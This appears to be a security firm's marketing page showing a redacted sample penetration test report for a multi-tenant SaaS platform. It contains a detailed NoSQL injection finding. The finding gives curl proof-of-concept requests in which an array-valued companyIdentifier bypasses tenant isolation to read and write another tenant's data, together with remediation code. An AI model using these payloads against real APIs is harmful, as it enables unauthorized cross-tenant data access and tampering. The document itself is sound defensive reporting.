Sample Report

See what our reports
actually look like.

A redacted excerpt from a real Vektr web application and API assessment. Findings, scoring, proof-of-concept steps, and remediation guidance, in the format we deliver to every client.

VEKTR
CYBER SECURITY
CONFIDENTIAL

Security Assessment Report

Penetration Test Report

Web Application & API Assessment. [Client Redacted]

Engagement summary

21 findings across a
multi-tenant web platform.

Web application and API assessment of a multi-tenant SaaS platform. Gray-box testing over a single engagement window covering NoSQL injection, tenant isolation, OAuth review, race conditions, and business logic abuse.

2 Critical
5 High
13 Medium
1 Low
Request full report Discuss an engagement

Full report (with additional findings detail, proof-of-concept steps, and remediation guidance) available to qualified organizations on request.

Findings index

All 21 findings at a glance

Severity-ordered, with IDs, titles, and status. Details for selected findings below.

ID Finding Severity Status
VEK-01 NoSQL Injection Critical Open
VEK-02 Broken Access Control Critical Open
VEK-03 HTML Injection High Open
VEK-04 Email Header Injection High Open
VEK-05 Race Condition High Open
VEK-06 Stored XSS High Open
VEK-07 CSRF Protection Bypass High Open
VEK-08 Sensitive Data Exposure Medium Open
VEK-09 Information Disclosure Medium Open
VEK-10 Missing Rate Limiting Medium Open
VEK-11 Security Misconfiguration Medium Open

Sample finding

How we document findings

This is an excerpt from VEK-01, the critical cross-tenant NoSQL injection finding. Proof-of-concept steps and impact confirmation are shown in full. Client-identifying details redacted.

VEK-01

NoSQL Injection

Critical Open
9.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

Network-reachable, no privileges required, no user interaction. Significant impact to system confidentiality and integrity.

The API endpoints accept companyIdentifier as either a string or a JSON array. When a JSON array is passed, the MongoDB backend performs an implicit $in-style match instead of an exact equality check, bypassing tenant isolation. Express/Node.js does not validate that companyIdentifier is a string type before it reaches the MongoDB query layer.

An unauthenticated attacker can:

  • Read the full configuration, PII, and merchant data of any tenant by submitting a known slug array
  • Write gift return records into any tenant's queue without authentication
  • Trigger merchant-branded transactional emails to attacker-controlled addresses
  • Chain this finding with downstream API endpoints. All endpoints in the /api/visitors/ namespace are affected

Step 1: Normal string request, expected tenant data:

curl -s -X POST 'https://[target]/api/[tenant]/settings/brand' \ -H 'Content-Type: application/json' \ -d '{"companyIdentifier":"[tenant-a]"}' HTTP/2 200 {"brandName":"[Tenant A]","identifier":"[tenant-a]","CompanyId":XXXX,...}

Step 2: Array injection triggers MongoDB $in, returns a different tenant's data:

curl -s -X POST 'https://[target]/api/[tenant]/settings/brand' \ -H 'Content-Type: application/json' \ -d '{"companyIdentifier":["[tenant-b]","[tenant-a]"]}' HTTP/2 200 {"brandName":"[Tenant B]","identifier":"[tenant-b]","CompanyId":YYYY, "contactEmail":"[redacted]@[redacted].com","storeShopifyUrl":"https://[redacted]...",...}

Step 3: Cross-tenant write confirmed. Record created in Tenant B's queue:

curl -s -X POST 'https://[target]/api/[tenant]/records/create' \ -H 'Content-Type: application/json' \ -d '{"companyIdentifier":["[tenant-b]","[tenant-a]"], "email":"attacker@example.com", "name":"InjectionTest","items":[]}' HTTP/2 200 {"message":"ok"}

Impact confirmed: return record written to Tenant B's queue. Tenant B-branded transactional email dispatched to attacker-controlled address. The c= portal parameter has no effect on the API. The companyIdentifier in the JSON body is the sole unvalidated tenant discriminator.

Add strict type validation on companyIdentifier before it reaches the database layer. Reject any value that is not a plain, non-empty string with HTTP 400.

// Recommended: Mongoose schema enforcement or middleware validator if (typeof companyIdentifier !== 'string' || companyIdentifier.trim() === '') { return res.status(400).json({ error: 'Invalid companyIdentifier' }); }

Additionally: bind tenant scope server-side to the authenticated session rather than accepting it from the request body. The session, not the caller, should determine which tenant's data is accessible.

CWE-943: NoSQL Injection CWE-284: Improper Access Control OWASP API Security Top 10: API3, Broken Object Property Level Authorization MITRE ATT&CK: T1190, Exploit Public-Facing Application

Want the full report?

Request the complete redacted version

The full report includes all 21 findings with complete proof-of-concept steps, impact chains, CVSS scoring, and remediation guidance. Available to qualified organizations on request.

Request full report Discuss an engagement